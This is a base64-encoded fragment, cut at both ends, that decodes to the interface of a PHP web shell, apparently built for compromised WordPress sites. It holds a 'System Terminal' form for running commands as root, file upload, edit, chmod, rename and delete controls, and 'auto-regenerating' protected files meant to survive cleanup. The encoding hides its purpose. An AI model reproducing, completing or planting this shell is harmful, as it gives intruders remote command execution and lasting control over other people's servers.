UiIHZhbHVlPSIxIiBjbGFzcz0icmVnZW4tYnRuIj4KICAgICAgICAgICAgICAgICAgICA8aSBjbGFzcz0iZmFzIGZhLXJlZG8iPjwvaT4gRm9yY2UgUmVnZW5lcmF0aW9uCiAgICAgICAgICAgICAgICA8L2J1dHRvbj4KICAgICAgICAgICAgPC9mb3JtPgogICAgICAgIDwvZGl2PgoKICAgICAgICA8IS0tIEFsZXJ0cyAtLT4KICAgICAgICA8P3BocCBpZiAoJHdwX21lc3NhZ2UpOiA/PgogICAgICAgIDxkaXYgY2xhc3M9ImFsZXJ0IGFsZXJ0LXN1Y2Nlc3MiPgogICAgICAgICAgICA8aSBjbGFzcz0iZmFzIGZhLWNoZWNrLWNpcmNsZSI+PC9pPgogICAgICAgICAgICA8Pz0gaHRtbHNwZWNpYWxjaGFycygkd3BfbWVzc2FnZSkgPz4KICAgICAgICA8L2Rpdj4KICAgICAgICA8P3BocCBlbmRpZjsgPz4KCiAgICAgICAgPD9waHAgaWYgKCRtZXNzYWdlKTogPz4KICAgICAgICA8ZGl2IGNsYXNzPSJhbGVydCBhbGVydC13YXJuaW5nIj4KICAgICAgICAgICAgPGkgY2xhc3M9ImZhcyBmYS1leGNsYW1hdGlvbi10cmlhbmdsZSI+PC9pPgogICAgICAgICAgICA8Pz0gaHRtbHNwZWNpYWxjaGFycygkbWVzc2FnZSkgPz4KICAgICAgICA8L2Rpdj4KICAgICAgICA8P3BocCBlbmRpZjsgPz4KCiAgICAgICAgPCEtLSBQYXRoIE5hdmlnYXRpb24gLS0+CiAgICAgICAgPGRpdiBjbGFzcz0icGF0aC1uYXYiPgogICAgICAgICAgICA8YSBocmVmPSI/Ij48aSBjbGFzcz0iZmFzIGZhLWhvbWUiPjwvaT4gUm9vdDwvYT4KICAgICAgICAgICAgPD9waHAKICAgICAgICAgICAgJHBhdGhfcGFydHMgPSBleHBsb2RlKCcvJywgc3RyX3JlcGxhY2UoJ1xcJywgJy8nLCBDVVJSRU5UX1BBVEgpKTsKICAgICAgICAgICAgJGN1cnJlbnRfcGF0aCA9ICcnOwogICAgICAgICAgICBmb3JlYWNoICgkcGF0aF9wYXJ0cyBhcyAkcGFydCkgewogICAgICAgICAgICAgICAgaWYgKCRwYXJ0ID09PSAnJykgY29udGludWU7CiAgICAgICAgICAgICAgICAkY3VycmVudF9wYXRoIC49ICcvJyAuICRwYXJ0OwogICAgICAgICAgICAgICAgZWNobyAnPGkgY2xhc3M9ImZhcyBmYS1jaGV2cm9uLXJpZ2h0IiBzdHlsZT0iY29sb3I6ICM4ODg7Ij48L2k+JzsKICAgICAgICAgICAgICAgIGVjaG8gJzxhIGhyZWY9Ij9kaXI9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKCRjdXJyZW50X3BhdGgpKSAuICciPjxpIGNsYXNzPSJmYXMgZmEtZm9sZGVyIj48L2k+ICcgLiBodG1sc3BlY2lhbGNoYXJzKCRwYXJ0KSAuICc8L2E+JzsKICAgICAgICAgICAgfQogICAgICAgICAgICA/PgogICAgICAgIDwvZGl2PgoKICAgICAgICA8P3BocCBpZiAoJGVkaXRNb2RlKTogPz4KICAgICAgICAgICAgPCEtLSBFRElUIE1PREUgLS0+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvZGUtZWRpdG9yIj4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImVkaXRvci1oZWFkZXIiPgogICAgICAgICAgICAgICAgICAgIDxoMyBzdHlsZT0ibWFyZ2luOiAwOyBjb2xvcjogdmFyKC0tYWNjZW50KTsiPgogICAgICAgICAgICAgICAgICAgICAgICA8aSBjbGFzcz0iZmFzIGZhLWVkaXQiPjwvaT4gRWRpdGluZzogPD89IGh0bWxzcGVjaWFsY2hhcnMoJGVkaXRGaWxlKSA/PgogICAgICAgICAgICAgICAgICAgIDwvaDM+CiAgICAgICAgICAgICAgICAgICAgPGRpdiBzdHlsZT0iZGlzcGxheTogZmxleDsgZ2FwOiAxMHB4OyI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gb25jbGljaz0iZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2VkaXRGb3JtJykuc3VibWl0KCkiIHN0eWxlPSJiYWNrZ3JvdW5kOiB2YXIoLS1zdWNjZXNzKTsgcGFkZGluZzogMTBweCAyMHB4OyBib3JkZXI6IG5vbmU7IGJvcmRlci1yYWRpdXM6IDhweDsgY29sb3I6IHdoaXRlOyBjdXJzb3I6IHBvaW50ZXI7Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpIGNsYXNzPSJmYXMgZmEtc2F2ZSI+PC9pPiBTYXZlCiAgICAgICAgICAgICAgICAgICAgICAgIDwvYnV0dG9uPgogICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSI/ZGlyPTw/PSB1cmxlbmNvZGUoZW5jb2RlUGF0aChDVVJSRU5UX1BBVEgpKSA/PiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHN0eWxlPSJiYWNrZ3JvdW5kOiB2YXIoLS1kYW5nZXIpOyBwYWRkaW5nOiAxMHB4IDIwcHg7IGJvcmRlcjogbm9uZTsgYm9yZGVyLXJhZGl1czogOHB4OyBjb2xvcjogd2hpdGU7IGN1cnNvcjogcG9pbnRlcjsiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpIGNsYXNzPSJmYXMgZmEtdGltZXMiPjwvaT4gQ2FuY2VsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2J1dHRvbj4KICAgICAgICAgICAgICAgICAgICAgICAgPC9hPgogICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgIDxmb3JtIGlkPSJlZGl0Rm9ybSIgbWV0aG9kPSJwb3N0Ij4KICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJlZGl0X2ZpbGUiIHZhbHVlPSI8Pz0gaHRtbHNwZWNpYWxjaGFycygkZWRpdEZpbGUpID8+Ij4KICAgICAgICAgICAgICAgICAgICA8dGV4dGFyZWEgbmFtZT0iY29udGVudCIgc3R5bGU9IndpZHRoOiAxMDAlOyBoZWlnaHQ6IDUwMHB4OyBiYWNrZ3JvdW5kOiAjMWUxZTFlOyBjb2xvcjogI2Q0ZDRkNDsgYm9yZGVyOiBub25lOyBwYWRkaW5nOiAyMHB4OyBmb250LWZhbWlseTogJ0pldEJyYWlucyBNb25vJywgbW9ub3NwYWNlOyBmb250LXNpemU6IDE0cHg7IGxpbmUtaGVpZ2h0OiAxLjU7IHJlc2l6ZTogdmVydGljYWw7Ij48Pz0gJGVkaXRDb250ZW50ID8+PC90ZXh0YXJlYT4KICAgICAgICAgICAgICAgIDwvZm9ybT4KICAgICAgICAgICAgPC9kaXY+CgogICAgICAgIDw/cGhwIGVsc2U6ID8+CiAgICAgICAgICAgIDwhLS0gU1RBVFMgLS0+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9InN0YXRzLWdyaWQiPgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ic3RhdC1jYXJkIj4KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJzdGF0LXZhbHVlIj48Pz0gY291bnQoJGZvbGRlcnMpID8+PC9kaXY+CiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ic3RhdC1sYWJlbCI+PGkgY2xhc3M9ImZhcyBmYS1mb2xkZXIiPjwvaT4gRm9sZGVyczwvZGl2PgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJzdGF0LWNhcmQiPgogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InN0YXQtdmFsdWUiPjw/PSBjb3VudCgkZmlsZXMpID8+PC9kaXY+CiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ic3RhdC1sYWJlbCI+PGkgY2xhc3M9ImZhcyBmYS1maWxlIj48L2k+IEZpbGVzPC9kaXY+CiAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InN0YXQtY2FyZCI+CiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ic3RhdC12YWx1ZSI+PD89IGZvcm1hdEJ5dGVzKGFycmF5X3N1bShhcnJheV9jb2x1bW4oJGZpbGVzLCAnc2l6ZScpKSkgPz48L2Rpdj4KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJzdGF0LWxhYmVsIj48aSBjbGFzcz0iZmFzIGZhLWRhdGFiYXNlIj48L2k+IFRvdGFsIFNpemU8L2Rpdj4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ic3RhdC1jYXJkIj4KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJzdGF0LXZhbHVlIj48Pz0gY291bnQoYXJyYXlfZmlsdGVyKGFycmF5X21lcmdlKCRmb2xkZXJzLCAkZmlsZXMpLCBmdW5jdGlvbigkaXRlbSkgeyByZXR1cm4gJGl0ZW1bJ3Byb3RlY3RlZCddOyB9KSkgPz48L2Rpdj4KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJzdGF0LWxhYmVsIj48aSBjbGFzcz0iZmFzIGZhLXNoaWVsZC1hbHQiPjwvaT4gUHJvdGVjdGVkIEZpbGVzPC9kaXY+CiAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPC9kaXY+CgogICAgICAgICAgICA8IS0tIFRFUk1JTkFMIC0tPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJ0ZXJtaW5hbC1zZWN0aW9uIj4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InRlcm1pbmFsLWhlYWRlciI+CiAgICAgICAgICAgICAgICAgICAgPGgzIHN0eWxlPSJtYXJnaW46IDA7IGNvbG9yOiB2YXIoLS1hY2NlbnQpOyI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxpIGNsYXNzPSJmYXMgZmEtdGVybWluYWwiPjwvaT4gU3lzdGVtIFRlcm1pbmFsCiAgICAgICAgICAgICAgICAgICAgPC9oMz4KICAgICAgICAgICAgICAgICAgICA8ZGl2IHN0eWxlPSJjb2xvcjogIzg4ODsgZm9udC1mYW1pbHk6ICdKZXRCcmFpbnMgTW9ubyc7Ij4KICAgICAgICAgICAgICAgICAgICAgICAgPGkgY2xhc3M9ImZhcyBmYS11c2VyLXNlY3JldCI+PC9pPiByb290QHNpZDo8c3Bhbj48Pz0gaHRtbHNwZWNpYWxjaGFycyhDVVJSRU5UX1BBVEgpID8+PC9zcGFuPiQKICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICA8P3BocCBpZiAoJHRlcm1pbmFsX291dHB1dCk6ID8+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJ0ZXJtaW5hbC1vdXRwdXQiPjw/PSBodG1sc3BlY2lhbGNoYXJzKCR0ZXJtaW5hbF9vdXRwdXQpID8+PC9kaXY+CiAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz4KICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgPGZvcm0gbWV0aG9kPSJwb3N0IiBjbGFzcz0idGVybWluYWwtaW5wdXQiPgogICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ0ZXJtaW5hbC10ZXh0IiBwbGFjZWhvbGRlcj0iRW50ZXIgY29tbWFuZC4uLiIgYXV0b2NvbXBsZXRlPSJvZmYiIGF1dG9mb2N1cz4KICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9InN1Ym1pdCIgbmFtZT0idGVybWluYWwiIHZhbHVlPSIxIj4KICAgICAgICAgICAgICAgICAgICAgICAgPGkgY2xhc3M9ImZhcyBmYS1wbGF5Ij48L2k+IEV4ZWN1dGUKICAgICAgICAgICAgICAgICAgICA8L2J1dHRvbj4KICAgICAgICAgICAgICAgIDwvZm9ybT4KICAgICAgICAgICAgPC9kaXY+CgogICAgICAgICAgICA8IS0tIFFVSUNLIEFDVElPTlMgLS0+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9InF1aWNrLWFjdGlvbnMiPgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iYWN0aW9uLWZvcm0iPgogICAgICAgICAgICAgICAgICAgIDxoMz48aSBjbGFzcz0iZmFzIGZhLWZvbGRlci1wbHVzIj48L2k+IENyZWF0ZSBGb2xkZXI8L2gzPgogICAgICAgICAgICAgICAgICAgIDxmb3JtIG1ldGhvZD0icG9zdCIgY2xhc3M9ImFjdGlvbi1pbnB1dCI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJuZXdmb2xkZXIiIHBsYWNlaG9sZGVyPSJGb2xkZXIgbmFtZSIgcmVxdWlyZWQ+CiAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBjbGFzcz0iYWN0aW9uLWJ0biI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aSBjbGFzcz0iZmFzIGZhLXBsdXMiPjwvaT4gQ3JlYXRlCiAgICAgICAgICAgICAgICAgICAgICAgIDwvYnV0dG9uPgogICAgICAgICAgICAgICAgICAgIDwvZm9ybT4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJhY3Rpb24tZm9ybSI+CiAgICAgICAgICAgICAgICAgICAgPGgzPjxpIGNsYXNzPSJmYXMgZmEtZmlsZS1wbHVzIj48L2k+IENyZWF0ZSBGaWxlPC9oMz4KICAgICAgICAgICAgICAgICAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGNsYXNzPSJhY3Rpb24taW5wdXQiPgogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmV3ZmlsZSIgcGxhY2Vob2xkZXI9IkZpbGUgbmFtZSIgcmVxdWlyZWQ+CiAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBjbGFzcz0iYWN0aW9uLWJ0biI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aSBjbGFzcz0iZmFzIGZhLXBsdXMiPjwvaT4gQ3JlYXRlCiAgICAgICAgICAgICAgICAgICAgICAgIDwvYnV0dG9uPgogICAgICAgICAgICAgICAgICAgIDwvZm9ybT4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJhY3Rpb24tZm9ybSI+CiAgICAgICAgICAgICAgICAgICAgPGgzPjxpIGNsYXNzPSJmYXMgZmEtdXBsb2FkIj48L2k+IFVwbG9hZCBGaWxlczwvaDM+CiAgICAgICAgICAgICAgICAgICAgPGZvcm0gbWV0aG9kPSJwb3N0IiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBjbGFzcz0iYWN0aW9uLWlucHV0Ij4KICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9ImZpbGVzW10iIG11bHRpcGxlIHN0eWxlPSJmbGV4OiAxOyBwYWRkaW5nOiAxMHB4OyBiYWNrZ3JvdW5kOiByZ2JhKDI1NSwyNTUsMjU1LDAuMDUpOyBib3JkZXI6IDFweCBzb2xpZCByZ2JhKDI1NSwyNTUsMjU1LDAuMSk7IGJvcmRlci1yYWRpdXM6IDhweDsgY29sb3I6IHdoaXRlOyI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBjbGFzcz0iYWN0aW9uLWJ0biI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aSBjbGFzcz0iZmFzIGZhLXVwbG9hZCI+PC9pPiBVcGxvYWQKICAgICAgICAgICAgICAgICAgICAgICAgPC9idXR0b24+CiAgICAgICAgICAgICAgICAgICAgPC9mb3JtPgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgIDwvZGl2PgoKICAgICAgICAgICAgPCEtLSBGSUxFIEJST1dTRVIgLS0+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZpbGUtYnJvd3NlciI+CiAgICAgICAgICAgICAgICA8ZGl2IHN0eWxlPSJkaXNwbGF5OiBmbGV4OyBqdXN0aWZ5LWNvbnRlbnQ6IHNwYWNlLWJldHdlZW47IGFsaWduLWl0ZW1zOiBjZW50ZXI7IG1hcmdpbi1ib3R0b206IDIwcHg7Ij4KICAgICAgICAgICAgICAgICAgICA8aDMgc3R5bGU9Im1hcmdpbjogMDsgY29sb3I6IHZhcigtLWFjY2VudCk7Ij4KICAgICAgICAgICAgICAgICAgICAgICAgPGkgY2xhc3M9ImZhcyBmYS1mb2xkZXItb3BlbiI+PC9pPiBGaWxlIEJyb3dzZXIKICAgICAgICAgICAgICAgICAgICA8L2gzPgogICAgICAgICAgICAgICAgICAgIDxkaXYgc3R5bGU9ImRpc3BsYXk6IGZsZXg7IGdhcDogMTBweDsgYWxpZ24taXRlbXM6IGNlbnRlcjsiPgogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IHN0eWxlPSJkaXNwbGF5OiBmbGV4OyBhbGlnbi1pdGVtczogY2VudGVyOyBnYXA6IDVweDsgZm9udC1zaXplOiAwLjllbTsgY29sb3I6ICM4ODg7Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgc3R5bGU9IndpZHRoOiAxMHB4OyBoZWlnaHQ6IDEwcHg7IGJhY2tncm91bmQ6IHZhcigtLXdhcm5pbmcpOyBib3JkZXItcmFkaXVzOiA1MCU7Ij48L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIFByb3RlY3RlZCAoQXV0by1SZWdlbmVyYXRlcykKICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgPGRpdiBzdHlsZT0ib3ZlcmZsb3cteDogYXV0bzsiPgogICAgICAgICAgICAgICAgICAgIDx0YWJsZSBjbGFzcz0iZmlsZS10YWJsZSI+CiAgICAgICAgICAgICAgICAgICAgICAgIDx0aGVhZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGg+TmFtZTwvdGg+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRoPlNpemU8L3RoPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0aD5QZXJtaXNzaW9uczwvdGg+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRoPk1vZGlmaWVkPC90aD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGg+QWN0aW9uczwvdGg+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgICAgICA8L3RoZWFkPgogICAgICAgICAgICAgICAgICAgICAgICA8dGJvZHk+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8IS0tIEZPTERFUlMgLS0+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBmb3JlYWNoICgkZm9sZGVycyBhcyAkaXRlbSk6ID8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dHIgY2xhc3M9ImZpbGUtcm93IDw/PSAkaXRlbVsncHJvdGVjdGVkJ10gPyAncHJvdGVjdGVkLXJvdycgOiAnJyA/PiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aSBjbGFzcz0iZmFzIGZhLWZvbGRlciIgc3R5bGU9ImNvbG9yOiAjZmZjODAwOyBtYXJnaW4tcmlnaHQ6IDEwcHg7Ij48L2k+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij9kaXI9PD89IHVybGVuY29kZShlbmNvZGVQYXRoKCRpdGVtWydwYXRoJ10pKSA/PiIgc3R5bGU9ImNvbG9yOiB3aGl0ZTsgdGV4dC1kZWNvcmF0aW9uOiBub25lOyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Pz0gaHRtbHNwZWNpYWxjaGFycygkaXRlbVsnbmFtZSddKSA/PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICgkaXRlbVsncHJvdGVjdGVkJ10pOiA/PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBzdHlsZT0ibWFyZ2luLWxlZnQ6IDEwcHg7IGZvbnQtc2l6ZTogMC43ZW07IGJhY2tncm91bmQ6IHZhcigtLXdhcm5pbmcpOyBjb2xvcjogYmxhY2s7IHBhZGRpbmc6IDJweCA2cHg7IGJvcmRlci1yYWRpdXM6IDNweDsiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUFJPVEVDVEVECiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvc3Bhbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgc3R5bGU9ImNvbG9yOiAjODg4OyI+PD89ICRpdGVtWydzaXplJ10gPz48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGZvcm0gbWV0aG9kPSJwb3N0IiBzdHlsZT0iZGlzcGxheTogZmxleDsgZ2FwOiA1cHg7Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImNobW9kX2ZpbGUiIHZhbHVlPSI8Pz0gJGl0ZW1bJ25hbWUnXSA/PiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iY2htb2QiIHZhbHVlPSI8Pz0gJGl0ZW1bJ3Blcm1zJ10gPz4iIHN0eWxlPSJ3aWR0aDogNjBweDsgcGFkZGluZzogNXB4OyBiYWNrZ3JvdW5kOiByZ2JhKDI1NSwyNTUsMjU1LDAuMDUpOyBib3JkZXI6IDFweCBzb2xpZCByZ2JhKDI1NSwyNTUsMjU1LDAuMSk7IGJvcmRlci1yYWRpdXM6IDRweDsgY29sb3I6IHdoaXRlOyIgPD89ICRpdGVtWydwcm90ZWN0ZWQnXSA/ICdyZWFkb25seScgOiAnJyA/Pj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBzdHlsZT0icGFkZGluZzogNXB4IDEwcHg7IGJhY2tncm91bmQ6IHJnYmEoMCwyNTUsMTM2LDAuMSk7IGJvcmRlcjogMXB4IHNvbGlkIHZhcigtLWFjY2VudCk7IGJvcmRlci1yYWRpdXM6IDRweDsgY29sb3I6IHZhcigtLWFjY2VudCk7IGN1cnNvcjogcG9pbnRlcjsiIDw/PSAkaXRlbVsncHJvdGVjdGVkJ10gPyAnZGlzYWJsZWQnIDogJycgPz4+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2gKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvYnV0dG9uPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Zvcm0+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgc3R5bGU9ImNvbG9yOiAjODg4OyI+PD89IGRhdGUoJ1ktbS1kIEg6aScsICRpdGVtWydtb2RpZmllZCddKSA/PjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IHN0eWxlPSJkaXNwbGF5OiBmbGV4OyBnYXA6IDVweDsiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGZvcm0gbWV0aG9kPSJwb3N0IiBzdHlsZT0iZGlzcGxheTogZmxleDsgZ2FwOiA1cHg7Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvbGQiIHZhbHVlPSI8Pz0gJGl0ZW1bJ25hbWUnXSA/PiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im5ldyIgcGxhY2Vob2xkZXI9Ik5ldyBuYW1lIiBzdHlsZT0id2lkdGg6IDEwMHB4OyBwYWRkaW5nOiA1cHg7IGJhY2tncm91bmQ6IHJnYmEoMjU1LDI1NSwyNTUsMC4wNSk7IGJvcmRlcjogMXB4IHNvbGlkIHJnYmEoMjU1LDI1NSwyNTUsMC4xKTsgYm9yZGVyLXJhZGl1czogNHB4OyBjb2xvcjogd2hpdGU7IiA8Pz0gJGl0ZW1bJ3Byb3RlY3RlZCddID8gJ3JlYWRvbmx5JyA6ICcnID8+PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBzdHlsZT0icGFkZGluZzogNXB4IDEwcHg7IGJhY2tncm91bmQ6IHJnYmEoMjU1LDIwMCwwLDAuMSk7IGJvcmRlcjogMXB4IHNvbGlkICNmZmM4MDA7IGJvcmRlci1yYWRpdXM6IDRweDsgY29sb3I6ICNmZmM4MDA7IGN1cnNvcjogcG9pbnRlcjsiIDw/PSAkaXRlbVsncHJvdGVjdGVkJ10gPyAnZGlzYWJsZWQnIDogJycgPz4+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFJlbmFtZQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvYnV0dG9uPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9mb3JtPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGZvcm0gbWV0aG9kPSJwb3N0IiBvbnN1Ym1pdD0icmV0dXJuIGNvbmZpcm0oJ0RlbGV0ZSBmb2xkZXIgPD89IGFkZHNsYXNoZXMoJGl0ZW1bJ25hbWUnXSkgPz4/Jyk7Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkZWxldGUiIHZhbHVlPSI8Pz0gJGl0ZW1bJ25hbWUnXSA/PiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIHN0eWxlPSJwYWRkaW5nOiA1cHggMTBweDsgYmFja2dyb3VuZDogcmdiYSgyNTUsNzEsODcsMC4xKTsgYm9yZGVyOiAxcHggc29saWQgdmFyKC0tZGFuZ2VyKTsgYm9yZGVyLXJhZGl1czogNHB4OyBjb2xvcjogdmFyKC0tZGFuZ2VyKTsgY3Vyc29yOiBwb2ludGVyOyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIERlbGV0ZQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvYnV0dG9uPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9mb3JtPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVuZGZvcmVhY2g7ID8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwhLS0gRklMRVMgLS0+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBmb3JlYWNoICgkZmlsZXMgYXMgJGl0ZW0pOiAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRpY29uID0gJ2ZhLWZpbGUnOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNvbG9yID0gJyNmZmZmZmYnOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGV4dCA9IHN0cnRvbG93ZXIoJGl0ZW1bJ2V4dGVuc2lvbiddKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGljb25zID0gWwogICAgICAgICAgICAgICAgICAgICA